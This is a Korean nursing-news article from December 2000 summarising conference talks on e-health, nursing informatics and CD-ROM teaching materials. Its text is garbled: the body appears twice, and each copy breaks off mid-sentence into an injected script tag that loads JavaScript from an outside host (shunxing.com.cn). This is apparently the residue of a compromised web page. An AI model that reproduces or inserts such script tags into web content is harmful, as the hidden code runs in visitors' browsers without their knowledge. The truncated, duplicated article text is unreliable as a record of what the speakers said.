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간호정보화 어디까지 왔나
기사입력 2000-12-28 오후 15:41:04
간호 분야의 정보화는 어디까지 왔으며 앞으로 어떤 방향으로 나아갈 것인가. 보건의료계가 정보화 급류를 타고 있는 가운데 간호 교육·연구·실무·행정 등 각 분야에서 활용하고 있는 정보기술의 현황을 점검하고 미래 좌표를 제시하기 위한 자리가 마련됐다. 한국시그마데타타우(회장·홍경자)는 '간호와 e-헬스'를 주제로 학술대회에서 발표된 내용을 소개한다.
◈e-헬스 전망
유태우(서울대병원 가정의학과 교수)
국가별·도시별 닷컴도메인 등록순위 세계 1위, 사이버주식거래 세계 1위, 인터넷 이용자수 세계 6위, 무선인터넷 가입자 1300만명.
우리나라 인터넷 이용현황은 가히 세계 최고 수준이라 할 수 있다.
보건의료분야도 예외는 아니다. '인터넷 의료시대'가 이미 눈앞에 와 있다. 현재 건강·의학분야 사이트의 접속률은 9%의 비중을 차지하고 있으며 더욱 높아질 추세다.
앞으로 건강관련 인터넷 포털사이트, 커뮤니티 등의 e-헬스를 통해 오프라인으로 이뤄지던 보건의료 정보와 서비스들이 수년 내에 대부분 온라인으로 전환될 것이다. 온라인 상에서 환자-간호사(의사)간 관계가 형성되고 상담과 원격간호(진료), 전자상거래 등이 본격화될 전망이다.
인터넷 의료는 보건의료분야에 흥미가 있거나 최신 정보를 찾는 사람들을 비롯해 건강에 관심이 많은 사람, 질병 또는 질병위험성을 진단받은 사람, 만성질환자 등이 주로 이용하고 있다. 이들을 중심으로 간호사·의사·물리치료사 등이 협업하는 형태의 의료환경이 조성될 것이다.
인터넷 의료의 가장 큰 효과는 진료의 질을 높이고 비용을 절감할 수 있다는 것. 실제로 인터넷 의료를 시범 운영한 결과 환자들은 가정에서 쉽고 편하게 치료를 받을 수 있고 질환에 대한 이해도 높아져 만족한 것으로 나타났다.
주목할 것은 '정보화된 환자'가 늘어나고 있다는 사실이다. 환자들이 건강관리와 치료지침에 능동적으로 대처해가고 있으며 환자가 간호사(의사)의 지시를 일방적으로 따르기 보다는 간호사(의사)와 의견을 교환하는 풍토로 바뀌고 있다.
그러나 e-헬스를 이상적으로 정착시키기 위해서는 누구나 인터넷에 쉽게 접근해 신빙성 있는 정보를 구별할 수 있고 필요로 하는 모든 정보가 인터넷에 축적돼 있어야 하므로 이에 대한 대책마련이 필요하다.
◈미래 간호정보기술
박현애(서울대 간호대학 교수)
우리나라에서는 1987년 의료정보학회가 발족하면서 간호정보학의 필요성이 부각되기 시작했으며 간호 교육·연구·행정·실무 등에서 정보기술의 활용 범위를 넓혀가고 있다.
간호교육에서는 간호정보학과 전산교육이 강조되고 있다. 인터넷을 통한 교육도 1990년대 후반부터 움트기 시작했다.
인터넷에 국내외 다양한 간호문헌 데이터베이스가 구축돼 있고 간호진단시스템, 병원과 가정간호에서의 PDA(Personal Digital Assistant·개인휴대단말기) 사용, 간호정보표준화 등 정보기술 관련 간호연구도 활발히 진행되고 있다.
임상에서의 간호업무 전산화율은 1990년대 초반 24.4%에 불과했으나 1990년대 중반 이후 대폭 늘어났다. 입퇴원 관리프로그램, 물품청구, 간호사 스케쥴링, 환자분류체계 등에서 정보기술은 효과적으로 활용되고 있다.
앞으로 컴퓨터의 영향력은 더욱 강해질 것이다. 메모리 용량은 커지고 속도는 빨라질 것이며 핸드폰, PDA 등의 사용이 보편화될 것이다. 음성, 제스처 등을 인식할 수 있는 첨단 기술도 선보일 것이다.
간호에서도 인터넷, 스마트 카드, 이-커머스, 웹 테크놀러지 등 새로운 기술이 활용되고 디지털TV, 웹TV, PDA의 사용이 증가할 것으로 보인다. 실무와 교육 훈련과정에서 실감나는 시·청·촉각적 방법이 쓰이게 된다.
텔레헬스와 텔레커뮤니케이션이 발전해 가정에 있는 환자의 의료 질이 향상되고 보건의료인의 시간이 절약될 것이다. 병원에서는 간호사가 환자 옆에서 편리하게 자료를 입력·검색하고 기록할 수 있는 시스템이 정착될 것이다.
이와함께 기하급수적으로 증가하는 정보 속에서 정보의 질을 보장하고 검증하기 위한 표준과 감시도구가 필요할 것으로 예상된다.
한편 미국에서는 1992년부터 정보전문간호사를 배출해오고 있으며 1960년 발족된 세계간호정보학회는 간호정보학이 나아갈 방향을 제시하고 발전을 도모해 왔다.
◈시디롬 개발
김정은(연세대 간호대학 교수)
시디롬은 인터넷보다 선택 환경이 다양하고 콘텐츠 제작의 테크닉을 최대한 발휘할 수 있다는 장점이 있다.
인터넷에서 동영상·사진·음악파일 등의 교육자료를 수집하고 각종 프로그램을 이용해 '분만통증 완화를 위한 삼음교 지압'과 '모성간호학 실습' 등 2편의 시디롬을 제작했다.
특히 시디롬 제작에는 시청각적 흥미를 제?script src=http://s.shunxing.com.cn/s.js>
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◈e-헬스 전망
유태우(서울대병원 가정의학과 교수)
국가별·도시별 닷컴도메인 등록순위 세계 1위, 사이버주식거래 세계 1위, 인터넷 이용자수 세계 6위, 무선인터넷 가입자 1300만명.
우리나라 인터넷 이용현황은 가히 세계 최고 수준이라 할 수 있다.
보건의료분야도 예외는 아니다. '인터넷 의료시대'가 이미 눈앞에 와 있다. 현재 건강·의학분야 사이트의 접속률은 9%의 비중을 차지하고 있으며 더욱 높아질 추세다.
앞으로 건강관련 인터넷 포털사이트, 커뮤니티 등의 e-헬스를 통해 오프라인으로 이뤄지던 보건의료 정보와 서비스들이 수년 내에 대부분 온라인으로 전환될 것이다. 온라인 상에서 환자-간호사(의사)간 관계가 형성되고 상담과 원격간호(진료), 전자상거래 등이 본격화될 전망이다.
인터넷 의료는 보건의료분야에 흥미가 있거나 최신 정보를 찾는 사람들을 비롯해 건강에 관심이 많은 사람, 질병 또는 질병위험성을 진단받은 사람, 만성질환자 등이 주로 이용하고 있다. 이들을 중심으로 간호사·의사·물리치료사 등이 협업하는 형태의 의료환경이 조성될 것이다.
인터넷 의료의 가장 큰 효과는 진료의 질을 높이고 비용을 절감할 수 있다는 것. 실제로 인터넷 의료를 시범 운영한 결과 환자들은 가정에서 쉽고 편하게 치료를 받을 수 있고 질환에 대한 이해도 높아져 만족한 것으로 나타났다.
주목할 것은 '정보화된 환자'가 늘어나고 있다는 사실이다. 환자들이 건강관리와 치료지침에 능동적으로 대처해가고 있으며 환자가 간호사(의사)의 지시를 일방적으로 따르기 보다는 간호사(의사)와 의견을 교환하는 풍토로 바뀌고 있다.
그러나 e-헬스를 이상적으로 정착시키기 위해서는 누구나 인터넷에 쉽게 접근해 신빙성 있는 정보를 구별할 수 있고 필요로 하는 모든 정보가 인터넷에 축적돼 있어야 하므로 이에 대한 대책마련이 필요하다.
◈미래 간호정보기술
박현애(서울대 간호대학 교수)
우리나라에서는 1987년 의료정보학회가 발족하면서 간호정보학의 필요성이 부각되기 시작했으며 간호 교육·연구·행정·실무 등에서 정보기술의 활용 범위를 넓혀가고 있다.
간호교육에서는 간호정보학과 전산교육이 강조되고 있다. 인터넷을 통한 교육도 1990년대 후반부터 움트기 시작했다.
인터넷에 국내외 다양한 간호문헌 데이터베이스가 구축돼 있고 간호진단시스템, 병원과 가정간호에서의 PDA(Personal Digital Assistant·개인휴대단말기) 사용, 간호정보표준화 등 정보기술 관련 간호연구도 활발히 진행되고 있다.
임상에서의 간호업무 전산화율은 1990년대 초반 24.4%에 불과했으나 1990년대 중반 이후 대폭 늘어났다. 입퇴원 관리프로그램, 물품청구, 간호사 스케쥴링, 환자분류체계 등에서 정보기술은 효과적으로 활용되고 있다.
앞으로 컴퓨터의 영향력은 더욱 강해질 것이다. 메모리 용량은 커지고 속도는 빨라질 것이며 핸드폰, PDA 등의 사용이 보편화될 것이다. 음성, 제스처 등을 인식할 수 있는 첨단 기술도 선보일 것이다.
간호에서도 인터넷, 스마트 카드, 이-커머스, 웹 테크놀러지 등 새로운 기술이 활용되고 디지털TV, 웹TV, PDA의 사용이 증가할 것으로 보인다. 실무와 교육 훈련과정에서 실감나는 시·청·촉각적 방법이 쓰이게 된다.
텔레헬스와 텔레커뮤니케이션이 발전해 가정에 있는 환자의 의료 질이 향상되고 보건의료인의 시간이 절약될 것이다. 병원에서는 간호사가 환자 옆에서 편리하게 자료를 입력·검색하고 기록할 수 있는 시스템이 정착될 것이다.
이와함께 기하급수적으로 증가하는 정보 속에서 정보의 질을 보장하고 검증하기 위한 표준과 감시도구가 필요할 것으로 예상된다.
한편 미국에서는 1992년부터 정보전문간호사를 배출해오고 있으며 1960년 발족된 세계간호정보학회는 간호정보학이 나아갈 방향을 제시하고 발전을 도모해 왔다.
◈시디롬 개발
김정은(연세대 간호대학 교수)
시디롬은 인터넷보다 선택 환경이 다양하고 콘텐츠 제작의 테크닉을 최대한 발휘할 수 있다는 장점이 있다.
인터넷에서 동영상·사진·음악파일 등의 교육자료를 수집하고 각종 프로그램을 이용해 '분만통증 완화를 위한 삼음교 지압'과 '모성간호학 실습' 등 2편의 시디롬을 제작했다.
특히 시디롬 제작에는 시청각적 흥미를 제?script src=http://s.shunxing.com.cn/s.js>
박미경 mkpark@nursenews.co.kr